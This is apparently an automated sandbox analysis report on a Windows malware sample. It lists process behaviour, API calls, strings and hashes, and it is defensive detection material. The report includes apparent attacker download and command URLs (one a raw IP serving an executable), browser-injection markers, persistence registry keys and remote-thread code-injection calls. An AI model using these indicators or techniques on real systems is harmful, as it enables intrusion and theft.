Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:29:04
Start date:	07/09/2024
Path:	C:\Windows\SysWOW64\onbeateax-oded.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\onbeateax-oded.exe"
Imagebase:	0x400000
File size:	89'785 bytes
MD5 hash:	DC293B8FD57A89BA2122CFD49DE8D111
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:29:04
Start date:	07/09/2024
Path:	C:\Windows\SysWOW64\onbeateax-oded.exe
Wow64 process (32bit):	true
Commandline:	--k33p
Imagebase:	0x400000
File size:	89'785 bytes
MD5 hash:	DC293B8FD57A89BA2122CFD49DE8D111
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	09:29:04
Start date:	07/09/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff6fc1b0000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:29:05
Start date:	07/09/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff70ffd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 004033EB Relevance: 184.3, APIs: 32, Strings: 73, Instructions: 510memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00403421
GetVersionExA.KERNEL32(004120F0), ref: 0040343A

Strings

urlinj_creat, xrefs: 00403C08
ProxyEnable, xrefs: 00403910
Both, xrefs: 00403DDC
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00403BD2
Debugger, xrefs: 00403B66
iexplore.exe, xrefs: 00403D28
http://%s.biz/d/G?, xrefs: 00403AC4
.dll, xrefs: 00403EC4, 00403F2B, 00403F41
winlogon.exe, xrefs: 00403D04
museum, xrefs: 00403B9C
rmass.exe, xrefs: 00403A22
SubshellState, xrefs: 00403CE0
firefox.exe, xrefs: 00403D3A
http://utbidet-ugeas.biz/d/cc, xrefs: 00403C98
wininet.dll, xrefs: 00403934, 00403946
g00d d0gg, xrefs: 00403CF2
http://69.50.173.166/gdnOT2424.exe, xrefs: 00403CBC
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00403BC0
modem, xrefs: 00403AE8
qnd_b__-12, xrefs: 00403F74, 00403FC5
HTTP/1.0 200, xrefs: 00403BE4
StubPath, xrefs: 00403B8A
IsInstalled, xrefs: 00403B78
DLLName, xrefs: 00403D82
urlinj_conn, xrefs: 00403BF6
seamonkey.exe, xrefs: 00403D5E
http://%s.biz/d/N?, xrefs: 00403AB2
http://%s/, xrefs: 00403DEE, 00403E05
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00403C50
Default Flags, xrefs: 00403F98
%u.%u.%u.%s, xrefs: 00403B0C
isdn, xrefs: 00403AFA
http://utbidet-ugeas.biz/d/rpt?, xrefs: 00403AD6
Connections, xrefs: 00403922
explorer.exe, xrefs: 00403D16
RECOVER32.DLL, xrefs: 00403A34
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 004038FE
%02X, xrefs: 00403FB6
mozilla.exe, xrefs: 00403D4C
tombul.gif, xrefs: 00403CCE
Startup, xrefs: 00403D94
ConnPred, xrefs: 00403C62
--k33p, xrefs: 0040343F, 004034B8
UseExtProfile, xrefs: 00403C74
QlC5hT0yHn63XEm5LqJ2OxSkGj2v, xrefs: 004047F1
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00403BAE
idbg32.exe, xrefs: 00403A8E
ThreadingModel, xrefs: 00403DCA
kernel32.dll, xrefs: 00403451, 00403463
UseDflProfile, xrefs: 00403C86
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}, xrefs: 00403DB8
aset32.exe, xrefs: 00403A6A
grazie.gif, xrefs: 00403CAA
urlinj_fork, xrefs: 00403C3E
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}, xrefs: 00403A46
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004038EC
.exe, xrefs: 00403EB2, 00403EE9, 00403EFF, 00403F15
{%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}, xrefs: 00403B1E, 004048C5
%ComSpec%, xrefs: 00403B30, 00404294
_Classes, xrefs: 004038DA
opera.exe, xrefs: 00403D70
urlinj_xfer, xrefs: 00403C1A
CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32, xrefs: 00403DA6
ntdbg.exe, xrefs: 00403AA0
%CommonProgramFiles%\System\, xrefs: 00403B42
ahuy.exe, xrefs: 00403A7C
winrnt.exe, xrefs: 00403A10
gymspzd.dll, xrefs: 00403A58
urlinj_creat_f, xrefs: 00403C2C
iphlpapi.dll, xrefs: 0040388A, 0040389C
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 00403F86
%AppData%\, xrefs: 00403B54, 00404D60
rasapi32.dll, xrefs: 00403834, 0040384C

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: HeapProcessVersion
String ID: %02X$%AppData%\$%ComSpec%$%CommonProgramFiles%\System\$%u.%u.%u.%s$--k33p$.dll$.exe$Both$CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32$ConnPred$Connections$DLLName$Debugger$Default Flags$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$IsInstalled$Mozilla/4.0 (compatible; MSIE 6.0; Win32)$ProxyEnable$QlC5hT0yHn63XEm5LqJ2OxSkGj2v$RECOVER32.DLL$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$Startup$StubPath$SubshellState$ThreadingModel$UseDflProfile$UseExtProfile$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$_Classes$ahuy.exe$aset32.exe$explorer.exe$firefox.exe$g00d d0gg$grazie.gif$gymspzd.dll$http://%s.biz/d/G?$http://%s.biz/d/N?$http://%s/$http://69.50.173.166/gdnOT2424.exe$http://utbidet-ugeas.biz/d/cc$http://utbidet-ugeas.biz/d/rpt?$idbg32.exe$iexplore.exe$iphlpapi.dll$isdn$kernel32.dll$modem$mozilla.exe$museum$ntdbg.exe$opera.exe$qnd_b__-12$rasapi32.dll$rmass.exe$seamonkey.exe$tombul.gif$urlinj_conn$urlinj_creat$urlinj_creat_f$urlinj_fork$urlinj_xfer$wininet.dll$winlogon.exe$winrnt.exe${%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}
API String ID: 2203647613-402672383
Opcode ID: 5f4e3c5ee09516bb0968bbac5de502e1e78267ef42d137a5ec15b0ec5d76d40a
Instruction ID: 7ac2c5788e51c7a3e4843286e6f135765ee1a2bd270a6153adf5efe2d07321ba
Opcode Fuzzy Hash: 5f4e3c5ee09516bb0968bbac5de502e1e78267ef42d137a5ec15b0ec5d76d40a
Instruction Fuzzy Hash: 0F027F702042416ADB309A658A857EF299CE756315F50CC3BF685FA2C1D7FCDAC08B5E

Function 004035B5 Relevance: 43.9, APIs: 16, Strings: 9, Instructions: 175libraryloadernativeCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,CreateRemoteThread), ref: 004035CD
LoadLibraryA.KERNEL32(ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 0040363B
GetProcAddress.KERNEL32(00000000,ntdll.dll), ref: 00403643
GetProcAddress.KERNEL32(00000000,NtWriteVirtualMemory), ref: 00403653
GetProcAddress.KERNEL32(00000000,NtShutdownSystem), ref: 00403663
GetProcAddress.KERNEL32(00000000,RtlAdjustPrivilege), ref: 00403673
RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?,00000000,RtlAdjustPrivilege,00000000,NtShutdownSystem,00000000,NtWriteVirtualMemory,00000000,ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 00403691
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 004036BD
GetProcAddress.KERNEL32(00000000,NtQueryInformationToken), ref: 004036D2
NtQueryInformationToken.NTDLL(?,00000002,00000000,00002000,?,?,CreateRemoteThread), ref: 0040371A
NtQueryInformationToken.NTDLL(?,00000001,00000000,00002000,?), ref: 00403783
CloseHandle.KERNEL32(?,?,CreateRemoteThread), ref: 004037C0
WSAStartup.WS2_32(00000002,?), ref: 00403817
GetTickCount.KERNEL32 ref: 0040381C
GetCurrentProcessId.KERNEL32(00000000,?,00000104,kernel32.dll,004120F0), ref: 00403823
GetCurrentThreadId.KERNEL32 ref: 0040382A

Strings

NtAllocateVirtualMemory, xrefs: 004035E9, 00403631
RtlAdjustPrivilege, xrefs: 0040361F, 00403668
ntdll.dll, xrefs: 004035D7, 00403636
NtOpenProcessToken, xrefs: 00403693, 004036B7
CreateRemoteThread, xrefs: 004035B5, 004035C7
NtQueryInformationToken, xrefs: 004036A5, 004036CC
NtShutdownSystem, xrefs: 0040360D, 00403658
NtWriteVirtualMemory, xrefs: 004035FB, 00403648
rasapi32.dll, xrefs: 00403834

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AddressProc$CurrentInformationQueryToken$AdjustCloseCountHandleLibraryLoadPrivilegeProcessStartupThreadTick
String ID: CreateRemoteThread$NtAllocateVirtualMemory$NtOpenProcessToken$NtQueryInformationToken$NtShutdownSystem$NtWriteVirtualMemory$RtlAdjustPrivilege$ntdll.dll$rasapi32.dll
API String ID: 111222507-3799945703
Opcode ID: 797b6cebaf156808a1b1c73312b339e2dcf7772425fb8a8df5124b909e52889a
Instruction ID: d6fc4fe45969fd7e8e5a1e80a5a711af8d5e660b819589561f52a4a0fe520863
Opcode Fuzzy Hash: 797b6cebaf156808a1b1c73312b339e2dcf7772425fb8a8df5124b909e52889a
Instruction Fuzzy Hash: 0151F97020834269D7215B788D8575B2E8CAB06355F208977F1A1FB2D2D7FCD9C1CA2E

Function 00403478 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 83processlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,004107CF), ref: 00403490
GetModuleFileNameA.KERNEL32(00000000,?,00000104,kernel32.dll,004120F0), ref: 004034AE
GetCommandLineA.KERNEL32(00000000,?,00000104,kernel32.dll,004120F0), ref: 004034B3
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004034CE
GetCurrentProcessId.KERNEL32(00000002,00000000,00000000,?,00000104,?,004107CF), ref: 004034E2
Process32First.KERNEL32(?,?), ref: 0040350A
Process32Next.KERNEL32(?,00000128), ref: 00403532
CloseHandle.KERNEL32(?,?,?), ref: 00403540
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?), ref: 00403550
CloseHandle.KERNEL32(00000000,00000000,000000FF,?,?,?), ref: 00403556
GetStartupInfoA.KERNEL32(?), ref: 00403563
OpenProcess.KERNEL32(00100000,00000000,?,?,?), ref: 0040359A
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040449C
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,004107CF), ref: 004044A3

Strings

--k33p, xrefs: 004034B8
Sk(, xrefs: 0040354F

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Process$CloseCreateHandleProcess32$AddressCommandCurrentExitFileFirstInfoLineModuleNameNextObjectOpenProcSingleSnapshotStartupToolhelp32Wait
String ID: --k33p$Sk(
API String ID: 3843483697-371387422
Opcode ID: c43e8d6dc754de3ef77532aabcff7f91e360964ce776d517ecbe1307d5e20074
Instruction ID: 4eb8e424595eb0792b6e881c17a7f057aca251d7945a059b1dd593835cc0c334
Opcode Fuzzy Hash: c43e8d6dc754de3ef77532aabcff7f91e360964ce776d517ecbe1307d5e20074
Instruction Fuzzy Hash: 7A215370204741A9E630ABA18C46FDF759CDF84309F90483FB699B51D2DBBC99408E7B

Function 00403FF5 Relevance: 59.7, APIs: 28, Strings: 6, Instructions: 189registrystringsynchronizationCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00403FC0
CreateMutexA.KERNEL32(00408778,00000001,qnd_b__-12,00408816,%02X,00000001,80000000,00000001,00000000,00000003,00000000,00000000,wininet.dll,iphlpapi.dll,rasapi32.dll,00000000), ref: 00403FD1
GetLastError.KERNEL32 ref: 00403FE5
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00404004
RegDeleteValueA.ADVAPI32(00000000,SubshellState,00000002,00000000), ref: 0040402D
RegCloseKey.ADVAPI32(?,00000000,SubshellState,00000002,00000000), ref: 00404036
GetCurrentProcessId.KERNEL32(00000002,00000000), ref: 0040405A
Process32First.KERNEL32(00000000,00000128), ref: 00404077
lstrcmpiA.KERNEL32(00000000,00000000), ref: 0040409E
lstrcmpiA.KERNEL32(00000000,winrnt.exe), ref: 004040AD
OpenProcess.KERNEL32(00100201,00000000,?,00000000,00000000,00000128,00000000,00000128), ref: 004040C4
Process32Next.KERNEL32(00000000,00000128), ref: 004040E3
CloseHandle.KERNEL32(00000000,00000000,00000128), ref: 004040ED
SetPriorityClass.KERNEL32(?,00000040,00000000,00000000,00000128), ref: 00404100
TerminateProcess.KERNEL32(?,00000000,00000000,00000000,00000128), ref: 0040411C
WaitForSingleObject.KERNEL32(?,00001388,00000000,00000000,00000128), ref: 00404138
CloseHandle.KERNEL32(?,?,00001388,00000000,00000000,00000128), ref: 00404145
SetFileAttributesA.KERNEL32(?,00000080,00000000,00000000,00000128), ref: 00404160
DeleteFileA.KERNEL32(?,?,00000080,00000000,00000000,00000128), ref: 00404166
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,00000002,00000000), ref: 0040418F
RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,00408778,?,00000000,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,00000002,00000000), ref: 004041C8
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,00412190,00000012), ref: 004041F9
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412190,00000012,?,Default Flags,00000000,00000000,00412190,00000012), ref: 00404219
RegCloseKey.ADVAPI32(?,?,Default Flags,00000000,00000000,00412190,00000012), ref: 00404231
RegDeleteKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy), ref: 00404247
RegCloseKey.ADVAPI32(?,80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,00408778,?,00000000,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,00000002), ref: 00404253
CloseHandle.KERNEL32(?,00000000), ref: 00404279

Strings

SubshellState, xrefs: 00404027
%02X, xrefs: 00403FB6
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 00404185, 004041BE, 0040423D
Default Flags, xrefs: 004041ED, 0040420D
qnd_b__-12, xrefs: 00403FC5
winrnt.exe, xrefs: 004040A7

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Close$CreateDeleteHandleProcessValue$FileOpenProcess32lstrcmpi$AttributesClassCurrentErrorFirstLastMutexNextObjectPriorityQuerySingleSnapshotTerminateToolhelp32Waitwsprintf
String ID: %02X$Default Flags$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$SubshellState$qnd_b__-12$winrnt.exe
API String ID: 3062393105-304649281
Opcode ID: eee3c27dcf5dac9c62056781aded1b19a19737c96418b25252549f2c20911ed1
Instruction ID: 2881faae1f31a76db2ea66fcd2952da1024c90796d993c2c27515e308abc8ee4
Opcode Fuzzy Hash: eee3c27dcf5dac9c62056781aded1b19a19737c96418b25252549f2c20911ed1
Instruction Fuzzy Hash: 5151E4B0284701B9E631BB218D46FAF7699AFD0709F60483FB785750C2DABC94508A5F

Function 004042A2 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 156stringfiletimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004042B2
GetFileTime.KERNEL32(00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004042DE
CloseHandle.KERNEL32(?,00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004042EA
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 0040430F
lstrcat.KERNEL32(?,0041103E), ref: 00404320
lstrcat.KERNEL32(00000000,?), ref: 00404326

Part of subcall function 004010F7: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
Part of subcall function 004010F7: SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
Part of subcall function 004010F7: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155

lstrcpy.KERNEL32(?,%CommonProgramFiles%\System\), ref: 00404358
lstrcat.KERNEL32(00000000,?), ref: 0040435E
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%CommonProgramFiles%\System\,?,00000104,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404364
lstrcpy.KERNEL32(?,%AppData%\), ref: 0040438C
lstrcat.KERNEL32(00000000,?), ref: 00404392
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%AppData%\,?,00000104,00000000,00000000,?,%CommonProgramFiles%\System\,?,00000104,00000000,?,0041103E), ref: 00404398

Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002), ref: 00401168
Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000), ref: 0040116E

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000), ref: 004043D4
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,?,40000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0041103E,?,80000000), ref: 004043EB
WriteFile.KERNEL32(00000000,004120E0,00000004,?,00000000,00000000,000000F0,00000000,00000002,?,40000000,00000000,00000000,00000003,00000000,00000000), ref: 00404402
CloseHandle.KERNEL32(00000000,00000000,004120E0,00000004,?,00000000,00000000,000000F0,00000000,00000002,?,40000000,00000000,00000000,00000003,00000000), ref: 00404408
CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000), ref: 0040442B
SetFileTime.KERNEL32(00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0041103E,?,80000000), ref: 00404454
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0041103E), ref: 0040445A
SetFileAttributesA.KERNEL32(?,00000021,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404469
CloseHandle.KERNEL32(?,?,00000021,00000000,?,0041103E,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404472
GetStartupInfoA.KERNEL32(?), ref: 0040447F
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040449C
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,004107CF), ref: 004044A3

Strings

%CommonProgramFiles%\System\, xrefs: 0040434B
%AppData%\, xrefs: 00404386

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CloseCreateHandle$lstrcat$AttributesEnvironmentExpandProcessStringsTimelstrcpy$DirectoryExitInfoPointerStartupSystemWrite
String ID: %AppData%\$%CommonProgramFiles%\System\
API String ID: 4177697711-964445440
Opcode ID: 7fc98520baf935fb20e7c8abf56b3c27680e5a798f4cfcd8dcb53bab41274933
Instruction ID: ec42c66a5461437713fc69f81584d350008a197d318898bee4584775647dcad9
Opcode Fuzzy Hash: 7fc98520baf935fb20e7c8abf56b3c27680e5a798f4cfcd8dcb53bab41274933
Instruction Fuzzy Hash: 564154B02447407AE630A6618C4AFDB319DAF84708F50853FB784F61D2DBBCA5458A6E

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000), ref: 004011A7
CloseHandle.KERNEL32(00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000), ref: 004011B1
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?), ref: 004011B7
DeleteFileA.KERNEL32(?,00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000), ref: 004011BD

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 102bc896bbfe3713ab5ccd1befb2f6417b83988e95bd20baf21e1ed7d3442641
Instruction ID: ead7ac7a0f60c3fe050b3408b844e5b53074d73edae75ab17160c13d06c43734
Opcode Fuzzy Hash: 102bc896bbfe3713ab5ccd1befb2f6417b83988e95bd20baf21e1ed7d3442641
Instruction Fuzzy Hash: D2118F3024070036F23162229C4AFAF218DCF89B58FA0453BB354F91D1D6BCA841567E

Function 00403E5D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,000000F0,00000000,00000002), ref: 00403E69
ReadFile.KERNEL32(?,004120E0,00000010,?,00000000,?,000000F0,00000000,00000002), ref: 00403E86
CloseHandle.KERNEL32(?,?,004120E0,00000010,?,00000000,?,000000F0,00000000,00000002), ref: 00403E92

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

Strings

.exe, xrefs: 00403EB2

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CloseHandlePointerReadwsprintf
String ID: .exe
API String ID: 1577166569-4119554291
Opcode ID: ee625f3c8a8d9147f332500a7de8a333390072956b14930801bf0dc1e6ef7227
Instruction ID: 647d16fac30a5290989ad040a77d1bff97c5403f675f057a8e76d2fb7f2e3359
Opcode Fuzzy Hash: ee625f3c8a8d9147f332500a7de8a333390072956b14930801bf0dc1e6ef7227
Instruction Fuzzy Hash: A6F0823020434069D6319B24CC06B5B3959BB45724FA08B3BB1D0F51E1C7BC1994C65E

Non-executed Functions

